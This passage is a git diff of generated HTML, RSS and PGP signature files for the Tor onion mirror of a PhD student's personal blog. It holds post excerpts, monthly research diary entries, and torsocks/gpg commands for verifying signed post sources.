    I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did! +Generally speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice! +...

    +
    +
    October 20, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie review: Scent of a Woman +

    +
    +
    +

    I’m not a big movie watcher. In fact, I don’t remember the last time I watched a whole movie in a single day. It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so. +...

    +
    +
    October 13, 2025 · 5 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Hobbies +

    +
    +
    +

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies. +For some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. +...

    +
    +
    October 10, 2025 · 12 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Relationships +

    +
    +
    +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. +So… do you also think you’re a lover boy, kind, nice person? So do I! I think I’m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. +...

    +
    +
    October 5, 2025 · 11 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    September '25 +

    +
    +
    +

    I started the month by finalizing my draft for Conext Student workshop. Let’s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time. +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too! +...

    +
    +
    September 30, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/page/4/index.html b/public-onion/page/4/index.html new file mode 100644 index 0000000..74e0162 --- /dev/null +++ b/public-onion/page/4/index.html @@ -0,0 +1,474 @@ + + + + + + + + +AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Augest '25 +

    +
    +
    +

    This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life! +...

    +
    +
    August 31, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Hello World +

    +
    +
    +

    This is a test hello world post just to make sure everything works! +Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc 62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt 7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT 6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= =kuAP -----END PGP SIGNATURE----- Verify locally: +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc gpg --verify hello-world.md.asc hello-world.md

    +
    +
    August 25, 2025 · 1 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/phd_journey/Augest_2025.asc b/public-onion/phd_journey/Augest_2025.asc new file mode 100644 index 0000000..b8745fc --- /dev/null +++ b/public-onion/phd_journey/Augest_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qtEAP/jJPsM/ZN7fn/qwccVyJR8iJ +kd3+ynK8KRAG9L64cQWg/Gt6cEGuhynz1eyDsQ5K9HCwxFXBYq4klilebhFFC5BI +09s079JRn0HVUgC9hbhnE3SXnS72Dpnm2ibdwN2Il/qR6xCZvEGSozJzXf+ElrdR +DxAR1xi550+tciYBRNA1LppTpJ8oq470ACN7ttOuUO8LLlZXtmRZxazTE3jwC2kT +Ld969kfFAmlOa5pV6VhMehehvm5V4420J0DQAzU20gfiP4uovcW2ngeIn2zjNmd+ +R+rr2MsjgTWtkwybCeOcZLdSx7rwVKJ3plLd8/Ep7yWpae6YsOtsK5fc0FwSJepR +SuDz1Lx4achDQt56JP5KT7lk8KNFV+ALdGvFbMBETqKqejUeLnBSD8+zXdfB24PB +5sojXKVD/sJjYRnYYxsxS+kSK05UNynEfMLg8uJjVueOznrS+WX8jB4MzA4r53Iy +PUtEcgexjalfwcWCjBL+M+W/ZaGGNkW4b6yZpyj40tgvknu/uK/B84YzqAj/xgpC +9Orzo9F7AUZbJs2IjDkWewxw9j+1ZlamzJ3bC7Go2zvS2crEJo/AA8VXF5N4kNII +5i3r2kam8ribVRePRfZ4ffY6UhAfreXiwNZaywU5oix5Ldr233UFrM82TbHCHHwJ +T8htRg70csvp345a7ICN +=LfUT +-----END PGP SIGNATURE----- diff --git a/public-onion/phd_journey/October_2025.asc b/public-onion/phd_journey/October_2025.asc new file mode 100644 index 0000000..cc74695 --- /dev/null +++ b/public-onion/phd_journey/October_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qP5YQALFeatlfbAjyCorvxaH8dGGR +0BE67tNRQeu74kZ5Qo9WCxKnvKvW7Hd8iTI7h4GYe0BcQ8GAYXF55gFS1McDJ6UF +RPkDNxCTccmWbPtZWkDNJpoCMp4SIbIeb232NoLJG/YA5TK/+Nq1eRxNmOxGT2/u +b39BkAcqruBwCEESYCq+PwGnm4FGAPnlK/nbx0vslmJJ5/KcPiBGUgO9tJWgZBqR +43mexDQfayVS3IM7LunLQUsmAbqXJ/zRAtnZYpWyU3eEAt7oUyslMzNIpzp3nrRf +4B58/qTuvBte0+I98b4/SEP1YP/r6tIfPeHBV/grcyP/n4F+iSFYqIf3tnHWm063 +8S6xgc6OlnH89y0VDxyuDiNE/BqZkSDYoGjLhBHdx+yuuouVhS8aFmhgH3VwChUW +U9/3Wz/Zis0lZEck8vdkDEQ8s01THB20LBRjmfz0U187pAsz30sjs27erOcmLbjW +1oZdzvoTT8I/kJV5RVgcvtK63sU2bBe/jcfS20c4W8fwN2MIp+s/3U2HiIYU1gSh +pQi6tos80dgaVxVxeSIoQ+DAX6lowBGGl2VHPAzD9UuPs7vvGVIKyQMbZNj5BQpM +wblk6hLv1zwt3XQZTBl26nbc+2GlxmHjv93h7XNOgixoif7nfKvsMCeAe7G3vz40 +qK/LRsLVGdwAMhytShnh +=VoSE +-----END PGP SIGNATURE----- diff --git a/public-onion/phd_journey/September_2025.asc b/public-onion/phd_journey/September_2025.asc new file mode 100644 index 0000000..9208c09 --- /dev/null +++ b/public-onion/phd_journey/September_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qumYP/3zdbQK9g/VrkXPAQTJB2xhh +ciE9JUIHwfDZ0tHbZKLBjfGHuV3lTSlPIuBc/hueGB9eUFKyXfGjZ7ULvgbL7hR3 +q2jbg71N0GKtI2qooY2P24fxTD4LeZTkIvldcguGdlqTz0q/n/GUITHPYLzc+Lon +K+zkybPeJFUIakFhhSp+WEK+My7A4SZZR7lv3IC0lmeF1MqQiEjQUnifYq4VeOhx +1x8ht4H/hru1HLkZ3G5oQ9fpZ2Xp8cDQZGrRnL/J+SxskyMgszixJTXlbATydIe5 +B4VF3bHuwrBZovcwq+A+RJ0EvtYLBIw99fG6u/3w7emMj2FMr9MWziMJ3bfSVylp +0IMaLkyDCbGh439QkzDbxa9/x+nN9VmcfUzwgL40OfYEFw+8irgnE5m2pHZ4TBKS +Qefvq3YnLmOxRKquf2auL360mUJ9EvM6d7FEzZHxamPTYTKd0VHEodZAPgb8D+yE +Q/GkIROqgSfTWToE67LyHcTrnSm63Q8ovDL3azia6KS8btIwakFisbOfkcihe57K +rktW+JPG++BFDznGs7WzwIjTtDV47TyijxHj3545Vy7sB3O1AawWXTQyorLUVMly +ep2dajvhW5LypB54x8LLM8fUWGOPS+vSL9b8C0cFm4FDiUrGGH8lE6EYBzNJFDUF +m6kVSUHkw4wiQ4x6wyJ5 +=vltM +-----END PGP SIGNATURE----- diff --git a/public-onion/phd_journey/april_2026/index.html b/public-onion/phd_journey/april_2026/index.html new file mode 100644 index 0000000..ad1cc30 --- /dev/null +++ b/public-onion/phd_journey/april_2026/index.html @@ -0,0 +1,562 @@ + + + + + + + +April '26 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + April '26 +

    + +
    +

    I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

    +

    Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

    +

    I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

    +

    I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

    +

    Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

    +

    I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

    +

    I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
    +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
    +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
    +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
    +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
    +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
    +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
    +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
    +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
    +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
    +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
    +=Wtha
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md.asc
    +gpg --verify April_2026.md.asc April_2026.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/phd_journey/augest_2025/index.html b/public-onion/phd_journey/augest_2025/index.html new file mode 100644 index 0000000..8a9579a --- /dev/null +++ b/public-onion/phd_journey/augest_2025/index.html @@ -0,0 +1,576 @@ + + + + + + + +Augest '25 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Augest '25 +

    + +
    +

    This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    +

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    +

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    +

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
    +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
    +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
    +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
    +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
    +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
    +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
    +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
    +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
    +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
    +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
    +=vvS6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md.asc
    +gpg --verify Augest_2025.md.asc Augest_2025.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/phd_journey/index.html b/public-onion/phd_journey/index.html new file mode 100644 index 0000000..85b7e69 --- /dev/null +++ b/public-onion/phd_journey/index.html @@ -0,0 +1,472 @@ + + + + + + + +PhD_journeys | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    June 2026 +

    +
    +
    +

    Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. Let me summerize these past many months: +I finished my coursework for my prep phase I was added to a colleagues project and we submited it to IMC I submitted a poster to TMA, and I will be present it at the end of this month (June) I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. Downloads: Markdown · Signature (.asc) ...

    +
    +
    June 23, 2026 · 1 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    April '26 +

    +
    +
    +

    I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months. +Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together. +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately. +...

    +
    +
    May 3, 2026 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    November '25 +

    +
    +
    +

    4th Again, let’s setup some goals for the month. +Literature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it’s still lacking unfortunately. +Coursework is ok-ish. I’ve been trying to work on assignements and understand them. +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. +I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later. +...

    +
    +
    November 30, 2025 · 1 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    October '25 +

    +
    +
    +

    1st Ok, let’s start the month by declareing some goals and agendas. +What do I want to do this month? +Finish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let’s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I’m doing work! +...

    +
    +
    October 31, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    September '25 +

    +
    +
    +

    I started the month by finalizing my draft for Conext Student workshop. Let’s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time. +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too! +...

    +
    +
    September 30, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Augest '25 +

    +
    +
    +

    This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life! +...

    +
    +
    August 31, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/phd_journey/index.xml b/public-onion/phd_journey/index.xml new file mode 100644 index 0000000..43843e2 --- /dev/null +++ b/public-onion/phd_journey/index.xml @@ -0,0 +1,525 @@ + + + + PhD_journeys on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/ + Recent content in PhD_journeys on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 23 Jun 2026 20:00:07 +0000 + + + June 2026 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/june_2026/ + Tue, 23 Jun 2026 20:00:07 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/june_2026/ + <p>Ok, it&rsquo;s been so so so long! I haven&rsquo;t been writing, once again, because I&rsquo;ve been too busy with fixing my life. +Let me summerize these past many months:</p> +<ul> +<li>I finished my coursework for my prep phase</li> +<li>I was added to a colleagues project and we submited it to IMC</li> +<li>I submitted a poster to TMA, and I will be present it at the end of this month (June)</li> +<li>I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.</li> +<li>I am a tutor at data networks, and I think I&rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.</li> +</ul> +<hr> +<div class="signature-block" style="margin-top:1rem"> + <p><strong>Downloads:</strong> + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md">Markdown</a> · + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md.asc">Signature (.asc)</a> + </p> + Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. +Let me summerize these past many months:

    +
      +
    • I finished my coursework for my prep phase
    • +
    • I was added to a colleagues project and we submited it to IMC
    • +
    • I submitted a poster to TMA, and I will be present it at the end of this month (June)
    • +
    • I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
    • +
    • I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
    +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
    +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
